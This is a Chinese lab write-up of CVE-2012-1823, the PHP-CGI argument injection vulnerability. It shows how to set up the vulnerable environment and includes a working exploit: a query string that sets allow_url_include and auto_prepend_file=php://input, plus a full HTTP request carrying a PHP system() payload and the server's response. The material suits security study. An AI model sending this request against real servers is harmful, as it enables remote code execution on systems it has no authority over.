CVE-2012-1823及学习过程遇到的问题
关于该漏洞的基本介绍见:
https://www.cvedetails.com/cve/CVE-2012-1823/ https://nvd.nist.gov/vuln/detail/CVE-2012-1823#match-2336792
一、漏洞利用环境
(1). 影响版本:
5.0.0<=php<=5.3.11&& 5.4.0<=php<=5.4.1
(2). CGI
PHP有四种运行方式:CLI,CGI,FASTCGI,MODULE。
本漏洞需要以CGI运行,方可触发此漏洞。CGI方式配置如下:
# 1. 修改apache配置文件httpd.conf # (1). 增加下列内容 ScriptAlias /php/ 'C:/php5.2.17/' #'C:/php5.2.17/'为php安装路径 AddType application/x-httpd-php .php Action application/x-httpd-php "/php/php-cgi.exe" # (2). 修改权限 <Directory /> Options FollowSymLinks AllowOverride None Order deny,allow Allow from all #Deny from all </Directory> # 2. php.ini # 如果不存在php.ini,就将"php.ini-recommended"修改为"php.ini" # php.ini中关于cgi的配置默认即可,可以不用修改
完成配置后,可以看到Server API已经是CGI了:
(3).说明
该漏洞并未限定中间件与操作系统,如果使用的靶机是metasploitable,默认即是CGI,无需进行以上的配置,不过出于学习的目的,我还是自己从零开始配置相关环境,本次实验基于apache2.2,php 5.2.17,windows server 2003。
二、漏洞利用
需要用到的CGI模式可控命令行参数:
-
- -s 显示源码
- -d 指定配置项
cgi.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
cgi.php,即使以cgi执行的php文件,-d参数用以修改php.ini中的内容,即修改allow_url_include=on,auto_prepend_file=php://input。auto_prepend_file表示在加载第一个PHP代码之前先行预加载该配置所指示的PHP文件,再加上php://input获取位于POST body部分的php恶意代码,即可实现命令执行。又由于php://input的利用条件是allow_url_fopen = on并且allow_url_include = on。默认情况下,allow_url_fopen=on,allow_url_include = off,所以需要修改allow_url_include。
使用burpsuite抓包,修改请求方式并添加相关内容:
请求包:
POST /phptest.php?-d+allow_url_include%3don+d+auto_prepend_file%3dphp%3a//input HTTP/1.1 Host: 192.168.43.157 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 34 <?php system("date"); die(); ?>
响应包:
HTTP/1.1 200 OK Date: Sat, 20 Aug 2022 04:35:59 GMT Server: Apache/2.2.34 (Win32) X-Powered-By: PHP/5.2.17 Connection: close Content-Type: text/html Content-Length: 51 µ±Ç°ÈÕÆÚ: 2022-08-20 ÐÇÆÚÁù ÊäÈëÐÂÈÕÆÚ: (ÄêÔÂÈÕ)
如图所示:
三、补充
(1).module模式
如果想要让php再module下运行,那么就修改httpd.conf:
# 添加下列代码: # 因为运行的是php5.2.15,所以php5_module #如果php5_module对不上,那么就会报类似下面的错误: #httpd.exe: Syntax error on line .. of C:/Apache2.2/conf/httpd.conf: Can't locate API module structure `php_module' in file C:/PHP/php7apache2_4.dll: No error LoadModule php5_module 'C:\php5.2.17\php5apache2_2.dll' #指定PHP的目录 PHPIniDir 'C:\php5.2.17' AddType application/x-httpd-php .php
(2).关于权限的问题
如果实验中出现了如下图所示的访问权限不足的问题,那么有可能是httpd.conf中对路径的权限没有设置好,不要出现"Deny from all",把这句注释掉。
(3).apache无法启动的问题
win2k3中已经有IIS占用80端口了,所以无法直接启动apache。可以修改IIS或者apache的端口,为了方便起见,我直接关闭了IIS。
参考链接:
1.https://www.freebuf.com/articles/web/213647.html
2.https://blog.csdn.net/weixin_30833209/article/details/116434410
3.https://www.cvedetails.com/cve/CVE-2012-1823/
4.https://nvd.nist.gov/vuln/detail/CVE-2012-1823#match-2336792
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律